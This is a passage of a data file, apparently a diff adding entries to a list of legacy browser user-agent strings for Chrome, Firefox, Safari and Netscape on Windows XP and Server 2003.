Gecko) Chrome/4.0.219.6 Safari/532.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.0 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.7 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.3 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.4 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.288.1 Safari/532.8 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.2 Safari/533.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.353.0 Safari/533.3 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.355.0 Safari/533.3 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.356.0 Safari/533.3 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.357.0 Safari/533.3 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.8 (KHTML, like Gecko) Chrome/6.0.397.0 Safari/533.8 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.548.0 Safari/534.10 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.599.0 Safari/534.13 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.602.0 Safari/534.14 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.634.0 Safari/534.16 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.18 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.19 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.19 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.682.0 Safari/534.21 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.53 Safari/534.3 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0 Safari/534.6 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.9 (KHTML, like Gecko) Chrome/7.0.531.0 Safari/534.9 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax) +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20050519 Netscape/8.0.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 SeaMonkey/1.0.4 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20060918 Firefox/2.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061003 Firefox/2.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060527 BonEcho/2.0a3 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060708 Firefox/2.0b1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) FBSMTWB +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6pre) Gecko/2008121605 Firefox/3.0.6pre +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6pre) Gecko/2009011606 Firefox/3.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.0 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.10) Gecko/20100504 Firefox/3.5.11 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 AskTbPLTV5/3.8.0.12304 Firefox/3.5.16 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) FBSMTWB +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB6 (.NET CLR 3.5.30729) FBSMTWB +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.5 (build 02842) Firefox/3.5.6 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.5 (build 02842) Firefox/3.5.6 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 MRA 5.5 (build 02842) Firefox/3.5.7 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090213 Firefox/3.0.1b3pre +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090401 Firefox/3.5b4pre +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090409 Firefox/3.5b4pre +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b5pre) Gecko/20090517 Firefox/3.5b4pre (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.0.16 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b1) Gecko/2007110703 Firefox/3.0b1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b4pre) Gecko/2008020708 Firefox/3.0b4pre +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b5pre) Gecko/2008030706 Firefox/3.0b5pre +Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9b2) Gecko/2007121120 Firefox/3.0b2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 +Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB +Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; fa; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 +Mozilla/5.0 (Windows; U; Windows NT 5.1; fi-FI) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 +Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 +Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-be; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 +Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 ( .NET CLR 3.5.30729; .NET4.0C) +Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 +Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 +Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 +Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 +Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB +Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 ( .NET CLR 3.5.30729; .NET4.0E) +Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9b2) Gecko/2007121120 Firefox/3.0b2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 GTB7.0 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 GTB7.0 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 +Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 +Mozilla/5.0 (Windows; U; Windows NT 5.1; lt; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 +Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 +Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5 +Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 +Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTB6 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 +Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 +Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 +Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 GTB6 +Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 +Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 +Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 +Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 +Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 +Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 +Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E) +Mozilla/5.0 (Windows; U; Windows NT 5.1; uk; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 +Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.16 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.16 +Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 +Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100503 Firefox/3.6.4 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 +Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 +Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 +Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 +Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 +Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 GTB6 +Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.0 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 +Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 +Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.6 Safari/525.13 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.6 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.5 Safari/532.1 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.558.0 Safari/534.10 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.652.0 Safari/534.17 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.454.0 Safari/534.2 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.0 Safari/534.3 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.463.0 Safari/534.3 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 